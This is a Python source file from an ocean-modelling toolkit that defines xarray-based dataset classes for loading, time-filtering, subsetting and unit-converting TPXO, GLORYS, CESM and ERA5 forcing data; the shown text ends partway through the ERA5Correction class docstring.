CWorthy-ocean_roms-tools/roms_tools/setup/datasets.py
import re import xarray as xr from dataclasses import dataclass, field import glob from datetime import datetime, timedelta import numpy as np from typing import Dict, Optional, Union, List from pathlib import Path import warnings from roms_tools.setup.utils import ( assign_dates_to_climatology, interpolate_from_climatology, get_time_type, convert_cftime_to_datetime, ) from roms_tools.setup.download import download_correction_data @dataclass(frozen=True, kw_only=True) class Dataset: """Represents forcing data on original grid. Parameters ---------- filename : Union[str, Path, List[Union[str, Path]]] The path to the data file(s). Can be a single string (with or without wildcards), a single Path object, or a list of strings or Path objects containing multiple files. start_time : Optional[datetime], optional The start time for selecting relevant data. If not provided, the data is not filtered by start time. end_time : Optional[datetime], optional The end time for selecting relevant data. If not provided, only data at the start_time is selected if start_time is provided, or no filtering is applied if start_time is not provided. var_names: Dict[str, str] Dictionary of variable names that are required in the dataset. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. climatology : bool Indicates whether the dataset is climatological. Defaults to False. use_dask: bool Indicates whether to use dask for chunking. If True, data is loaded with dask; if False, data is loaded eagerly. Defaults to False. apply_post_processing: bool Indicates whether to post-process the dataset for futher use. Defaults to True. Attributes ---------- is_global : bool Indicates whether the dataset covers the entire globe. ds : xr.Dataset The xarray Dataset containing the forcing data on its original grid. Examples -------- >>> dataset = Dataset( ... filename="data.nc", ... start_time=datetime(2022, 1, 1), ... end_time=datetime(2022, 12, 31), ... ) """ filename: Union[str, Path, List[Union[str, Path]]] start_time: Optional[datetime] = None end_time: Optional[datetime] = None var_names: Dict[str, str] dim_names: Dict[str, str] = field( default_factory=lambda: { "longitude": "longitude", "latitude": "latitude", "time": "time", } ) climatology: Optional[bool] = False use_dask: Optional[bool] = True apply_post_processing: Optional[bool] = True is_global: bool = field(init=False, repr=False) ds: xr.Dataset = field(init=False, repr=False) def __post_init__(self): """ Post-initialization processing: 1. Loads the dataset from the specified filename. 2. Applies time filtering based on start_time and end_time if provided. 3. Selects relevant fields as specified by var_names. 4. Ensures latitude values and depth values are in ascending order. 5. Checks if the dataset covers the entire globe and adjusts if necessary. """ # Validate start_time and end_time if self.start_time is not None and not isinstance(self.start_time, datetime): raise TypeError( f"start_time must be a datetime object, but got {type(self.start_time).__name__}." ) if self.end_time is not None and not isinstance(self.end_time, datetime): raise TypeError( f"end_time must be a datetime object, but got {type(self.end_time).__name__}." ) ds = self.load_data() ds = self.clean_up(ds) self.check_dataset(ds) # Select relevant times if "time" in self.dim_names and self.start_time is not None: ds = self.add_time_info(ds) ds = self.select_relevant_times(ds) if self.dim_names["time"] != "time": ds = ds.rename({self.dim_names["time"]: "time"}) # Select relevant fields ds = self.select_relevant_fields(ds) # Make sure that latitude is ascending ds = self.ensure_dimension_is_ascending(ds, dim="latitude") if "depth" in self.dim_names: # Make sure that depth is ascending ds = self.ensure_dimension_is_ascending(ds, dim="depth") # Check whether the data covers the entire globe object.__setattr__(self, "is_global", self.check_if_global(ds)) # If dataset is global concatenate three copies of field along longitude dimension if self.is_global: ds = self.concatenate_longitudes(ds) object.__setattr__(self, "ds", ds) if self.apply_post_processing: self.post_process() def load_data(self) -> xr.Dataset: """Load dataset from the specified file. Returns ------- ds : xr.Dataset The loaded xarray Dataset containing the forcing data. Raises ------ FileNotFoundError If the specified file does not exist. ValueError If a list of files is provided but self.dim_names["time"] is not available or use_dask=False. """ # Precompile the regex for matching wildcard characters wildcard_regex = re.compile(r"[\*\?\[\]]") # Convert Path objects to strings if isinstance(self.filename, (str, Path)): filename_str = str(self.filename) elif isinstance(self.filename, list): filename_str = [str(f) for f in self.filename] else: raise ValueError( "filename must be a string, Path, or a list of strings/Paths." ) # Handle the case when filename is a string contains_wildcard = False if isinstance(filename_str, str): contains_wildcard = bool(wildcard_regex.search(filename_str)) if contains_wildcard: matching_files = glob.glob(filename_str) if not matching_files: raise FileNotFoundError( f"No files found matching the pattern '{filename_str}'." ) else: matching_files = [filename_str] # Handle the case when filename is a list elif isinstance(filename_str, list): contains_wildcard = any(wildcard_regex.search(f) for f in filename_str) if contains_wildcard: matching_files = [] for f in filename_str: files = glob.glob(f) if not files: raise FileNotFoundError( f"No files found matching the pattern '{f}'." ) matching_files.extend(files) else: matching_files = filename_str # Check if time dimension is available when multiple files are provided if isinstance(filename_str, list) and "time" not in self.dim_names: raise ValueError( "A list of files is provided, but time dimension is not available. " "A time dimension must be available to concatenate the files." ) # Determine the kwargs for combining datasets if contains_wildcard or len(matching_files) == 1: # If there is a wildcard or just one file, use by_coords kwargs = {"combine": "by_coords"} else: # Otherwise, use nested combine based on time kwargs = {"combine": "nested", "concat_dim": self.dim_names["time"]} # Base kwargs used for dataset combination combine_kwargs = { "coords": "minimal", "compat": "override", "combine_attrs": "override", } if self.use_dask: chunks = { self.dim_names["latitude"]: -1, self.dim_names["longitude"]: -1, } if "depth" in self.dim_names: chunks[self.dim_names["depth"]] = -1 if "time" in self.dim_names: chunks[self.dim_names["time"]] = 1 ds = xr.open_mfdataset( matching_files, chunks=chunks, **combine_kwargs, **kwargs, ) else: ds_list = [] for file in matching_files: ds = xr.open_dataset(file, chunks=None) ds_list.append(ds) if kwargs["combine"] == "by_coords": ds = xr.combine_by_coords(ds_list, **combine_kwargs) elif kwargs["combine"] == "nested": ds = xr.combine_nested( ds_list, concat_dim=kwargs["concat_dim"], **combine_kwargs ) if "time" in self.dim_names and self.dim_names["time"] not in ds.dims: ds = ds.expand_dims(self.dim_names["time"]) return ds def clean_up(self, ds: xr.Dataset) -> xr.Dataset: """Dummy method to be overridden by child classes to clean up the dataset. This method is intended as a placeholder and should be implemented in subclasses to provide specific functionality. Parameters ---------- ds : xr.Dataset The xarray Dataset to be cleaned up. Returns ------- xr.Dataset The xarray Dataset cleaned up (as implemented by child classes). """ return ds def check_dataset(self, ds: xr.Dataset) -> None: """Check if the dataset contains the specified variables and dimensions. Parameters ---------- ds : xr.Dataset The xarray Dataset to check. Raises ------ ValueError If the dataset does not contain the specified variables or dimensions. """ missing_vars = [ var for var in self.var_names.values() if var not in ds.data_vars ] if missing_vars: raise ValueError( f"Dataset does not contain all required variables. The following variables are missing: {missing_vars}" ) missing_dims = [dim for dim in self.dim_names.values() if dim not in ds.dims] if missing_dims: raise ValueError( f"Dataset does not contain all required dimensions. The following dimensions are missing: {missing_vars}" ) def select_relevant_fields(self, ds) -> xr.Dataset: """Selects and returns a subset of the dataset containing only the variables specified in `self.var_names`. Parameters ---------- ds : xr.Dataset The input dataset from which variables will be selected. Returns ------- xr.Dataset A dataset containing only the variables specified in `self.var_names`. """ for var in ds.data_vars: if var not in self.var_names.values(): ds = ds.drop_vars(var) return ds def add_time_info(self, ds: xr.Dataset) -> xr.Dataset: """Dummy method to be overridden by child classes to add time information to the dataset. This method is intended as a placeholder and should be implemented in subclasses to provide specific functionality for adding time-related information to the dataset. Parameters ---------- ds : xr.Dataset The xarray Dataset to which time information will be added. Returns ------- xr.Dataset The xarray Dataset with time information added (as implemented by child classes). """ return ds def select_relevant_times(self, ds) -> xr.Dataset: """Select a subset of the dataset based on the specified time range. This method filters the dataset to include all records between `start_time` and `end_time`. Additionally, it ensures that one record at or before `start_time` and one record at or after `end_time` are included, even if they fall outside the strict time range. If no `end_time` is specified, the method will select the time range of [start_time, start_time + 24 hours] and return the closest time entry to `start_time` within that range. Parameters ---------- ds : xr.Dataset The input dataset to be filtered. Must contain a time dimension. Returns ------- xr.Dataset A dataset filtered to the specified time range, including the closest entries at or before `start_time` and at or after `end_time` if applicable. Raises ------ ValueError If no matching times are found between `start_time` and `start_time + 24 hours`. Warns ----- UserWarning If the dataset contains exactly 12 time steps but the climatology flag is not set. This may indicate that the dataset represents climatology data. UserWarning If no records at or before `start_time` or no records at or after `end_time` are found. UserWarning If the dataset does not contain any time dimension or the time dimension is incorrectly named. Notes ----- - If the `climatology` flag is set and `end_time` is not provided, the method will interpolate initial conditions from climatology data. - If the dataset uses `cftime` datetime objects, these will be converted to standard `np.datetime64` objects before filtering. """ time_dim = self.dim_names["time"] if time_dim in ds.variables: if self.climatology: if len(ds[time_dim]) != 12: raise ValueError( f"The dataset contains {len(ds[time_dim])} time steps, but the climatology flag is set to True, which requires exactly 12 time steps." ) if not self.end_time: # Interpolate from climatology for initial conditions ds = interpolate_from_climatology( ds, self.dim_names["time"], self.start_time ) else: time_type = get_time_type(ds[time_dim]) if time_type == "int": raise ValueError( "The dataset contains integer time values, which are only supported when the climatology flag is set to True. However, your climatology flag is set to False." ) if time_type == "cftime": ds = ds.assign_coords( {time_dim: convert_cftime_to_datetime(ds[time_dim])} ) if self.end_time: end_time = self.end_time # Identify records before or at start_time before_start = ds[time_dim] <= np.datetime64(self.start_time) if before_start.any(): closest_before_start = ( ds[time_dim].where(before_start, drop=True).max() ) else: warnings.warn("No records found at or before the start_time.") closest_before_start = ds[time_dim].min() # Identify records after or at end_time after_end = ds[time_dim] >= np.datetime64(end_time) if after_end.any(): closest_after_end = ( ds[time_dim].where(after_end, drop=True).min() ) else: warnings.warn("No records found at or after the end_time.") closest_after_end = ds[time_dim].max() # Select records within the time range and add the closest before/after within_range = (ds[time_dim] > np.datetime64(self.start_time)) & ( ds[time_dim] < np.datetime64(end_time) ) selected_times = ds[time_dim].where( within_range | (ds[time_dim] == closest_before_start) | (ds[time_dim] == closest_after_end), drop=True, ) ds = ds.sel({time_dim: selected_times}) else: # Look in time range [self.start_time, self.start_time + 24h] end_time = self.start_time + timedelta(days=1) times = (np.datetime64(self.start_time) <= ds[time_dim]) & ( ds[time_dim] < np.datetime64(end_time) ) if np.all(~times): raise ValueError( f"The dataset does not contain any time entries between the specified start_time: {self.start_time} " f"and {self.start_time + timedelta(hours=24)}. " "Please ensure the dataset includes time entries for that range." ) ds = ds.where(times, drop=True) if ds.sizes[time_dim] > 1: # Pick the time closest to self.start_time ds = ds.isel({time_dim: 0}) print( f"Selected time entry closest to the specified start_time ({self.start_time}) within the range [{self.start_time}, {self.start_time + timedelta(hours=24)}]: {ds[time_dim].values}" ) else: warnings.warn( "Dataset does not contain any time information. Please check if the time dimension " "is correctly named or if the dataset includes time data." ) return ds def ensure_dimension_is_ascending( self, ds: xr.Dataset, dim="latitude" ) -> xr.Dataset: """Ensure that the specified dimension in the dataset is in ascending order. If the values along the specified dimension are in descending order, this function reverses the order of the dimension to make it ascending. Parameters ---------- ds : xr.Dataset The input `xarray.Dataset` whose dimension is to be checked and, if necessary, reordered. dim : str, optional The name of the dimension to check for ascending order. Defaults to "latitude". The dimension is expected to be one of the keys in `self.dim_names`. Returns ------- xr.Dataset A new `xarray.Dataset` with the specified dimension in ascending order. If the dimension was already in ascending order, the original dataset is returned unchanged. If the dimension was in descending order, the dataset is returned with the dimension reversed. """ # Make sure that latitude is ascending diff = np.diff(ds[self.dim_names[dim]]) if np.all(diff < 0): ds = ds.isel(**{self.dim_names[dim]: slice(None, None, -1)}) return ds def check_if_global(self, ds) -> bool: """Checks if the dataset covers the entire globe in the longitude dimension. This function calculates the mean difference between consecutive longitude values. It then checks if the difference between the first and last longitude values (plus 360 degrees) is close to this mean difference, within a specified tolerance. If it is, the dataset is considered to cover the entire globe in the longitude dimension. Returns ------- bool True if the dataset covers the entire globe in the longitude dimension, False otherwise. """ dlon_mean = ( ds[self.dim_names["longitude"]].diff(dim=self.dim_names["longitude"]).mean() ) dlon = ( ds[self.dim_names["longitude"]][0] - ds[self.dim_names["longitude"]][-1] ) % 360.0 is_global = np.isclose(dlon, dlon_mean, rtol=0.0, atol=1e-3).item() return is_global def concatenate_longitudes(self, ds): """ Concatenates the field three times: with longitudes shifted by -360, original longitudes, and shifted by +360. Parameters ---------- field : xr.DataArray The field to be concatenated. Returns ------- xr.DataArray The concatenated field, with the longitude dimension extended. Notes ----- Concatenating three times may be overkill in most situations, but it is safe. Alternatively, we could refactor to figure out whether concatenating on the lower end, upper end, or at all is needed. """ ds_concatenated = xr.Dataset() lon = ds[self.dim_names["longitude"]] lon_minus360 = lon - 360 lon_plus360 = lon + 360 lon_concatenated = xr.concat( [lon_minus360, lon, lon_plus360], dim=self.dim_names["longitude"] ) ds_concatenated[self.dim_names["longitude"]] = lon_concatenated for var in self.var_names.values(): if self.dim_names["longitude"] in ds[var].dims: field = ds[var] field_concatenated = xr.concat( [field, field, field], dim=self.dim_names["longitude"] ) if self.use_dask: field_concatenated = field_concatenated.chunk( {self.dim_names["longitude"]: -1} ) field_concatenated[self.dim_names["longitude"]] = lon_concatenated ds_concatenated[var] = field_concatenated else: ds_concatenated[var] = ds[var] return ds_concatenated def post_process(self): """Placeholder method to be overridden by subclasses for dataset post- processing. Returns ------- None This method does not return any value. Subclasses are expected to modify the dataset in-place. """ pass def choose_subdomain( self, latitude_range, longitude_range, margin, straddle, return_subdomain=False ): """Selects a subdomain from the xarray Dataset based on specified latitude and longitude ranges, extending the selection by a specified margin. Handles longitude conversions to accommodate different longitude ranges. Parameters ---------- latitude_range : tuple of float A tuple (lat_min, lat_max) specifying the minimum and maximum latitude values of the subdomain. longitude_range : tuple of float A tuple (lon_min, lon_max) specifying the minimum and maximum longitude values of the subdomain. margin : float Margin in degrees to extend beyond the specified latitude and longitude ranges when selecting the subdomain. straddle : bool If True, target longitudes are expected in the range [-180, 180]. If False, target longitudes are expected in the range [0, 360]. return_subdomain : bool, optional If True, returns the subset of the original dataset as an xarray Dataset. If False, assigns the subset to `self.ds`. Defaults to False. Returns ------- xr.Dataset or None If `return_subdomain` is True, returns the subset of the original dataset representing the chosen subdomain, including an extended area to cover one extra grid point beyond the specified ranges. If `return_subdomain` is False, returns None as the subset is assigned to `self.ds`. Notes ----- This method adjusts the longitude range if necessary to ensure it matches the expected range for the dataset. It also handles longitude discontinuities that can occur when converting to different longitude ranges. This is important for avoiding artifacts in the interpolation process. Raises ------ ValueError If the selected latitude or longitude range does not intersect with the dataset. """ lat_min, lat_max = latitude_range lon_min, lon_max = longitude_range if not self.is_global: # Adjust longitude range if needed to match the expected range lon = self.ds[self.dim_names["longitude"]] if not straddle: if lon.min() < -180: if lon_max + margin > 0: lon_min -= 360 lon_max -= 360 elif lon.min() < 0: if lon_max + margin > 180: lon_min -= 360 lon_max -= 360 if straddle: if lon.max() > 360: if lon_min - margin < 180: lon_min += 360 lon_max += 360 elif lon.max() > 180: if lon_min - margin < 0: lon_min += 360 lon_max += 360 # Select the subdomain subdomain = self.ds.sel( **{ self.dim_names["latitude"]: slice(lat_min - margin, lat_max + margin), self.dim_names["longitude"]: slice(lon_min - margin, lon_max + margin), } ) # Check if the selected subdomain has zero dimensions in latitude or longitude if subdomain[self.dim_names["latitude"]].size == 0: raise ValueError("Selected latitude range does not intersect with dataset.") if subdomain[self.dim_names["longitude"]].size == 0: raise ValueError( "Selected longitude range does not intersect with dataset." ) # Adjust longitudes to expected range if needed lon = subdomain[self.dim_names["longitude"]] if straddle: subdomain[self.dim_names["longitude"]] = xr.where(lon > 180, lon - 360, lon) else: subdomain[self.dim_names["longitude"]] = xr.where(lon < 0, lon + 360, lon) if return_subdomain: return subdomain else: object.__setattr__(self, "ds", subdomain) @dataclass(frozen=True, kw_only=True) class TPXODataset(Dataset): """Represents tidal data on the original grid from the TPXO dataset. Parameters ---------- filename : str The path to the TPXO dataset file. var_names : Dict[str, str], optional Dictionary of variable names required in the dataset. Defaults to: { "h_Re": "h_Re", "h_Im": "h_Im", "sal_Re": "sal_Re", "sal_Im": "sal_Im", "u_Re": "u_Re", "u_Im": "u_Im", "v_Re": "v_Re", "v_Im": "v_Im", "depth": "depth" } dim_names : Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. Defaults to: {"longitude": "ny", "latitude": "nx", "ntides": "nc"}. Attributes ---------- ds : xr.Dataset The xarray Dataset containing the TPXO tidal model data, loaded from the specified file. reference_date : datetime The reference date for the TPXO data. Default is datetime(1992, 1, 1). """ filename: str var_names: Dict[str, str] = field( default_factory=lambda: { "ssh_Re": "h_Re", "ssh_Im": "h_Im", "sal_Re": "sal_Re", "sal_Im": "sal_Im", "u_Re": "u_Re", "u_Im": "u_Im", "v_Re": "v_Re", "v_Im": "v_Im", "depth": "depth", } ) dim_names: Dict[str, str] = field( default_factory=lambda: {"longitude": "ny", "latitude": "nx", "ntides": "nc"} ) ds: xr.Dataset = field(init=False, repr=False) reference_date: datetime = datetime(1992, 1, 1) def clean_up(self, ds: xr.Dataset) -> xr.Dataset: """Clean up and standardize the dimensions and coordinates of the dataset for further processing. This method performs the following operations: - Assigns new coordinate variables for 'omega', 'longitude', and 'latitude' based on existing dataset variables. - 'omega' is retained as it is. - 'longitude' is derived from 'lon_r', assuming it is constant along the 'ny' dimension. - 'latitude' is derived from 'lat_r', assuming it is constant along the 'nx' dimension. - Renames the dimensions 'nx' and 'ny' to 'longitude' and 'latitude', respectively, for consistency. - Renames the tidal dimension to 'ntides' for standardization. - Updates the `dim_names` attribute of the object to reflect the new dimension names: 'longitude', 'latitude', and 'ntides'. Parameters ---------- ds : xr.Dataset The input dataset to be cleaned and standardized. It should contain the coordinates 'omega', 'lon_r', 'lat_r', and the tidal dimension. Returns ------- ds : xr.Dataset A cleaned and standardized `xarray.Dataset` with updated coordinates and dimensions. """ ds = ds.assign_coords( { "omega": ds["omega"], "nx": ds["lon_r"].isel( ny=0 ), # lon_r is constant along ny, i.e., is only a function of nx "ny": ds["lat_r"].isel( nx=0 ), # lat_r is constant along nx, i.e., is only a function of ny } ) ds = ds.rename( {"nx": "longitude", "ny": "latitude", self.dim_names["ntides"]: "ntides"} ) object.__setattr__( self, "dim_names", { "latitude": "latitude", "longitude": "longitude", "ntides": "ntides", }, ) return ds def check_number_constituents(self, ntides: int): """Checks if the number of constituents in the dataset is at least `ntides`. Parameters ---------- ntides : int The required number of tidal constituents. Raises ------ ValueError If the number of constituents in the dataset is less than `ntides`. """ if len(self.ds[self.dim_names["ntides"]]) < ntides: raise ValueError( f"The dataset contains fewer than {ntides} tidal constituents." ) def post_process(self): """Apply a depth-based mask to the dataset, ensuring only positive depths are retained. This method checks if the 'depth' variable is present in the dataset. If found, a mask is created where depths greater than 0 are considered valid (mask value of 1). This mask is applied to all data variables in the dataset, replacing values at invalid depths (depth ≤ 0) with NaN. The mask itself is also stored in the dataset under the variable 'mask'. Returns ------- None The dataset is modified in-place by applying the mask to each variable. """ if "depth" in self.var_names.keys(): mask = xr.where(self.ds["depth"] > 0, 1, 0) self.ds["mask"] = mask # Remove "depth" from var_names updated_var_names = {**self.var_names} # Create a copy of the dictionary updated_var_names.pop("depth", None) # Remove "depth" if it exists object.__setattr__(self, "var_names", updated_var_names) @dataclass(frozen=True, kw_only=True) class GLORYSDataset(Dataset): """Represents GLORYS data on original grid. Parameters ---------- filename : str The path to the data files. Can contain wildcards. start_time : Optional[datetime], optional The start time for selecting relevant data. If not provided, the data is not filtered by start time. end_time : Optional[datetime], optional The end time for selecting relevant data. If not provided, only data at the start_time is selected if start_time is provided, or no filtering is applied if start_time is not provided. var_names: Dict[str, str], optional Dictionary of variable names that are required in the dataset. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. climatology : bool Indicates whether the dataset is climatological. Defaults to False. Attributes ---------- ds : xr.Dataset The xarray Dataset containing the GLORYS data on its original grid. """ var_names: Dict[str, str] = field( default_factory=lambda: { "temp": "thetao", "salt": "so", "u": "uo", "v": "vo", "zeta": "zos", } ) dim_names: Dict[str, str] = field( default_factory=lambda: { "longitude": "longitude", "latitude": "latitude", "depth": "depth", "time": "time", } ) climatology: Optional[bool] = False def post_process(self): """Apply a mask to the dataset based on the 'zeta' variable, with 0 where 'zeta' is NaN. This method creates a mask based on the first time step (time=0) of 'zeta'. The mask has 1 for valid data and 0 where 'zeta' is NaN. This mask is applied to all data variables, replacing values with NaN where 'zeta' is NaN at time=0. The mask itself is stored in the dataset under the variable 'mask'. Returns ------- None The dataset is modified in-place by applying the mask to each variable. """ mask = xr.where( self.ds[self.var_names["zeta"]].isel({self.dim_names["time"]: 0}).isnull(), 0, 1, ) mask_vel = xr.where( self.ds[self.var_names["u"]] .isel({self.dim_names["time"]: 0, self.dim_names["depth"]: 0}) .isnull(), 0, 1, ) self.ds["mask"] = mask self.ds["mask_vel"] = mask_vel @dataclass(frozen=True, kw_only=True) class CESMDataset(Dataset): """Represents CESM data on original grid. Parameters ---------- filename : str The path to the data files. Can contain wildcards. start_time : Optional[datetime], optional The start time for selecting relevant data. If not provided, the data is not filtered by start time. end_time : Optional[datetime], optional The end time for selecting relevant data. If not provided, only data at the start_time is selected if start_time is provided, or no filtering is applied if start_time is not provided. var_names: Dict[str, str], optional Dictionary of variable names that are required in the dataset. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. climatology : bool Indicates whether the dataset is climatological. Defaults to False. Attributes ---------- ds : xr.Dataset The xarray Dataset containing the CESM data on its original grid. """ # overwrite clean_up method from parent class def clean_up(self, ds: xr.Dataset) -> xr.Dataset: """Ensure the dataset's time dimension is correctly defined and standardized. This method verifies that the time dimension exists in the dataset and assigns it appropriately. If the "time" dimension is missing, the method attempts to assign an existing "time" or "month" dimension. If neither exists, it expands the dataset to include a "time" dimension with a size of one. Returns ------- ds : xr.Dataset The xarray Dataset with the correct time dimension assigned or added. """ if "time" not in self.dim_names: if "time" in ds.dims: self.dim_names["time"] = "time" else: if "month" in ds.dims: self.dim_names["time"] = "month" else: ds = ds.expand_dims({"time": 1}) self.dim_names["time"] = "time" return ds def add_time_info(self, ds: xr.Dataset) -> xr.Dataset: """Adds time information to the dataset based on the climatology flag and dimension names. This method processes the dataset to include time information according to the climatology setting. If the dataset represents climatology data and the time dimension is labeled as "month", it assigns dates to the dataset based on a monthly climatology. Additionally, it handles dimension name updates if necessary. Parameters ---------- ds : xr.Dataset The input dataset to which time information will be added. Returns ------- xr.Dataset The dataset with time information added, including adjustments for climatology and dimension names. """ time_dim = self.dim_names["time"] if self.climatology and time_dim == "month": ds = assign_dates_to_climatology(ds, time_dim) # rename dimension ds = ds.swap_dims({time_dim: "time"}) if time_dim in ds.variables: ds = ds.drop_vars(time_dim) # Update dimension names updated_dim_names = self.dim_names.copy() updated_dim_names["time"] = "time" object.__setattr__(self, "dim_names", updated_dim_names) return ds @dataclass(frozen=True, kw_only=True) class CESMBGCDataset(CESMDataset): """Represents CESM BGC data on original grid. Parameters ---------- filename : str The path to the data files. Can contain wildcards. start_time : Optional[datetime], optional The start time for selecting relevant data. If not provided, the data is not filtered by start time. end_time : Optional[datetime], optional The end time for selecting relevant data. If not provided, only data at the start_time is selected if start_time is provided, or no filtering is applied if start_time is not provided. var_names: Dict[str, str], optional Dictionary of variable names that are required in the dataset. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. climatology : bool Indicates whether the dataset is climatological. Defaults to False. Attributes ---------- ds : xr.Dataset The xarray Dataset containing the CESM data on its original grid. """ var_names: Dict[str, str] = field( default_factory=lambda: { "PO4": "PO4", "NO3": "NO3", "SiO3": "SiO3", "NH4": "NH4", "Fe": "Fe", "Lig": "Lig", "O2": "O2", "DIC": "DIC", "DIC_ALT_CO2": "DIC_ALT_CO2", "ALK": "ALK", "ALK_ALT_CO2": "ALK_ALT_CO2", "DOC": "DOC", "DON": "DON", "DOP": "DOP", "DOPr": "DOPr", "DONr": "DONr", "DOCr": "DOCr", "spChl": "spChl", "spC": "spC", "spP": "spP", "spFe": "spFe", "diatChl": "diatChl", "diatC": "diatC", "diatP": "diatP", "diatFe": "diatFe", "diatSi": "diatSi", "diazChl": "diazChl", "diazC": "diazC", "diazP": "diazP", "diazFe": "diazFe", "spCaCO3": "spCaCO3", "zooC": "zooC", } ) dim_names: Dict[str, str] = field( default_factory=lambda: { "longitude": "lon", "latitude": "lat", "depth": "z_t", } ) climatology: Optional[bool] = False def post_process(self): """ Processes and converts CESM data values as follows: - Convert depth values from cm to m. - Apply a mask to the dataset based on the 'P04' variable at the surface. """ if self.dim_names["depth"] == "z_t": # Fill variables that only have data in upper 150m with NaNs below if ( "z_t_150m" in self.ds.dims and np.equal( self.ds.z_t[: len(self.ds.z_t_150m)].values, self.ds.z_t_150m.values ).all() ): for var in self.var_names: if "z_t_150m" in self.ds[var].dims: self.ds[var] = self.ds[var].rename({"z_t_150m": "z_t"}) if self.use_dask: self.ds[var] = self.ds[var].chunk({"z_t": -1}) # Convert depth from cm to m ds = self.ds.assign_coords({"depth": self.ds["z_t"] / 100}) ds["depth"].attrs["long_name"] = "Depth" ds["depth"].attrs["units"] = "m" ds = ds.swap_dims({"z_t": "depth"}) if "z_t" in ds.variables: ds = ds.drop_vars("z_t") if "z_t_150m" in ds.variables: ds = ds.drop_vars("z_t_150m") # update dataset object.__setattr__(self, "ds", ds) # Update dim_names with "depth": "depth" key-value pair updated_dim_names = self.dim_names.copy() updated_dim_names["depth"] = "depth" object.__setattr__(self, "dim_names", updated_dim_names) mask = xr.where( self.ds[self.var_names["PO4"]] .isel({self.dim_names["time"]: 0, self.dim_names["depth"]: 0}) .isnull(), 0, 1, ) self.ds["mask"] = mask @dataclass(frozen=True, kw_only=True) class CESMBGCSurfaceForcingDataset(CESMDataset): """Represents CESM BGC surface forcing data on original grid. Parameters ---------- filename : str The path to the data files. Can contain wildcards. start_time : Optional[datetime], optional The start time for selecting relevant data. If not provided, the data is not filtered by start time. end_time : Optional[datetime], optional The end time for selecting relevant data. If not provided, only data at the start_time is selected if start_time is provided, or no filtering is applied if start_time is not provided. var_names: Dict[str, str], optional Dictionary of variable names that are required in the dataset. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. climatology : bool Indicates whether the dataset is climatological. Defaults to False. Attributes ---------- ds : xr.Dataset The xarray Dataset containing the CESM data on its original grid. """ var_names: Dict[str, str] = field( default_factory=lambda: { "pco2_air": "pCO2SURF", "pco2_air_alt": "pCO2SURF", "iron": "IRON_FLUX", "dust": "dust_FLUX_IN", "nox": "NOx_FLUX", "nhy": "NHy_FLUX", } ) dim_names: Dict[str, str] = field( default_factory=lambda: { "longitude": "lon", "latitude": "lat", } ) climatology: Optional[bool] = False def post_process(self): """Perform post-processing on the dataset to remove specific variables. This method checks if the variable "z_t" exists in the dataset. If it does, the variable is removed from the dataset. The modified dataset is then reassigned to the `ds` attribute of the object. """ if "z_t" in self.ds.variables: ds = self.ds.drop_vars("z_t") object.__setattr__(self, "ds", ds) mask = xr.where( self.ds[self.var_names["pco2_air"]] .isel({self.dim_names["time"]: 0}) .isnull(), 0, 1, ) self.ds["mask"] = mask @dataclass(frozen=True, kw_only=True) class ERA5Dataset(Dataset): """Represents ERA5 data on original grid. Parameters ---------- filename : str The path to the data files. Can contain wildcards. start_time : Optional[datetime], optional The start time for selecting relevant data. If not provided, the data is not filtered by start time. end_time : Optional[datetime], optional The end time for selecting relevant data. If not provided, only data at the start_time is selected if start_time is provided, or no filtering is applied if start_time is not provided. var_names: Dict[str, str], optional Dictionary of variable names that are required in the dataset. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. climatology : bool Indicates whether the dataset is climatological. Defaults to False. Attributes ---------- ds : xr.Dataset The xarray Dataset containing the ERA5 data on its original grid. """ var_names: Dict[str, str] = field( default_factory=lambda: { "uwnd": "u10", "vwnd": "v10", "swrad": "ssr", "lwrad": "strd", "Tair": "t2m", "d2m": "d2m", "rain": "tp", "mask": "sst", } ) dim_names: Dict[str, str] = field( default_factory=lambda: { "longitude": "longitude", "latitude": "latitude", "time": "time", } ) climatology: Optional[bool] = False def post_process(self): """ Processes and converts ERA5 data values as follows: - Convert radiation values from J/m^2 to W/m^2. - Convert rainfall from meters to cm/day. - Convert temperature from Kelvin to Celsius. - Compute relative humidity if not present, convert to absolute humidity. - Use SST to create mask. """ # Translate radiation to fluxes. ERA5 stores values integrated over 1 hour. # Convert radiation from J/m^2 to W/m^2 self.ds[self.var_names["swrad"]] /= 3600 self.ds[self.var_names["lwrad"]] /= 3600 self.ds[self.var_names["swrad"]].attrs["units"] = "W/m^2" self.ds[self.var_names["lwrad"]].attrs["units"] = "W/m^2" # Convert rainfall from m to cm/day self.ds[self.var_names["rain"]] *= 100 * 24 # Convert temperature from Kelvin to Celsius self.ds[self.var_names["Tair"]] -= 273.15 self.ds[self.var_names["d2m"]] -= 273.15 self.ds[self.var_names["Tair"]].attrs["units"] = "degrees C" self.ds[self.var_names["d2m"]].attrs["units"] = "degrees C" # Compute relative humidity if not present if "qair" not in self.ds.data_vars: qair = np.exp( (17.625 * self.ds[self.var_names["d2m"]]) / (243.04 + self.ds[self.var_names["d2m"]]) ) / np.exp( (17.625 * self.ds[self.var_names["Tair"]]) / (243.04 + self.ds[self.var_names["Tair"]]) ) # Convert relative to absolute humidity patm = 1010.0 cff = ( (1.0007 + 3.46e-6 * patm) * 6.1121 * np.exp( 17.502 * self.ds[self.var_names["Tair"]] / (240.97 + self.ds[self.var_names["Tair"]]) ) ) cff = cff * qair self.ds["qair"] = 0.62197 * (cff / (patm - 0.378 * cff)) self.ds["qair"].attrs["long_name"] = "Absolute humidity at 2m" self.ds["qair"].attrs["units"] = "kg/kg" # Update var_names dictionary var_names = {**self.var_names, "qair": "qair"} var_names.pop("d2m") object.__setattr__(self, "var_names", var_names) if "mask" in self.var_names.keys(): mask = xr.where(self.ds[self.var_names["mask"]].isel(time=0).isnull(), 0, 1) self.ds["mask"] = mask # Remove mask from var_names dictionary var_names = self.var_names var_names.pop("mask") object.__setattr__(self, "var_names", var_names) @dataclass(frozen=True, kw_only=True) class ERA5Correction(Dataset): """Global dataset to correct ERA5 radiation. The dataset contains multiplicative correction factors for the ERA5 shortwave radiation, obtained by comparing the COREv2 climatology to the ERA5 climatology. Parameters ---------- filename : str, optional The path to the correction files. Defaults to download_correction_data('SSR_correction.nc'). var_names: Dict[str, str], optional Dictionary of variable names that are 